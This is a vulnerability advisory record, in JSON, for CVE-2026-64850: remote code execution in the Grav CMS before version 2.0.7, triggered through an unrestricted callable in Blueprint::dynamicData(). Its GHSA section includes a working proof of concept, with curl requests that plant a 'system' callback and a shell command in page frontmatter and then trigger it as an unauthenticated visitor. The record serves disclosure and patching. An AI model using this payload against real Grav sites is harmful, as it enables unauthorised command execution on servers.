{"id":"CVE-2026-64850","aliases":["CVE-2026-64850","GHSA-fj2p-qj2f-74v5"],"related":["CVE-2026-65008"],"kind":"vulnerability","state":"published","title":"Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()","summary":"Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\\Common\\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\\Common\\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.","source":"cvelist"},{"lang":"en","text":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `<BASE_URL>` the site; `<SESSION_COOKIE>` an admin session cookie\nfor an account with `admin.pages`; `<ADMIN_NONCE>` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '<BASE_URL>/admin/pages/rcepoc' \\\n      -H 'Cookie: <SESSION_COOKIE>' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \\\n      --data-urlencode 'data[folder]=rcepoc' \\\n      --data-urlencode 'data[name]=form' \\\n      --data-urlencode 'data[title]=x' \\\n      --data-urlencode 'data[content]=hi' \\\n      --data-urlencode \"data[frontmatter]=forms:\n      x:\n        fields:\n          y:\n            type: text\n            data-opts@:\n              - 'Grav\\Common\\Utils::arrayFilterRecursive'\n              - { 'echo GRAV-RCE-OK; id': 'x' }\n              - system\"\n\nTrigger it as an unauthenticated visitor:\n\n    curl '<BASE_URL>/rcepoc'\n\nSuccess check: the GET response body begins with `GRAV-RCE-OK` followed by the\nweb-server user's `id` output (a line starting `uid=...`) — the command ran\nduring the unauthenticated request and its output is reflected in the response.\n\n\n### Impact\nShell command execution as the web-server user, triggered by any visit to the\npage, plantable by any holder of `admin.pages` or `api.pages.write`.\n\nTrust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page\nediting, not code execution; the holder plants the payload and the code runs at\nrequest time on any later view of the page.","format":"markdown","source":"ghsa"}],"published":"2026-08-19T15:58:02.850Z","modified":"2026-09-09T21:13:25.910Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 2.0.7","status":"affected"}],"vendor":"getgrav","product":"grav","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.0.7"}],"ecosystem":"Packagist","package":"getgrav/grav","purl":"pkg:composer/getgrav/grav","source":"ghsa"}],"references":[{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/getgrav/grav/releases/tag/2.0.7","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64850","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/getgrav/grav","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-08-19T17:51:47.291Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-64850","url":"https://www.cve.org/CVERecord?id=CVE-2026-64850","licence":"CVE Terms of Use","modified":"2026-08-19T17:51:53.967Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-fj2p-qj2f-74v5","url":"https://github.com/advisories/GHSA-fj2p-qj2f-74v5","licence":"CC-BY-4.0","modified":"2026-09-02T15:00:11.115Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-64850","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64850","licence":"Public domain","modified":"2026-09-09T21:13:25.910Z"}],"updatedAt":"2026-11-25T22:59:33.974Z","epss":{"score":0.00946,"percentile":0.62139,"date":"2026-12-01T12:00:22.000Z"}}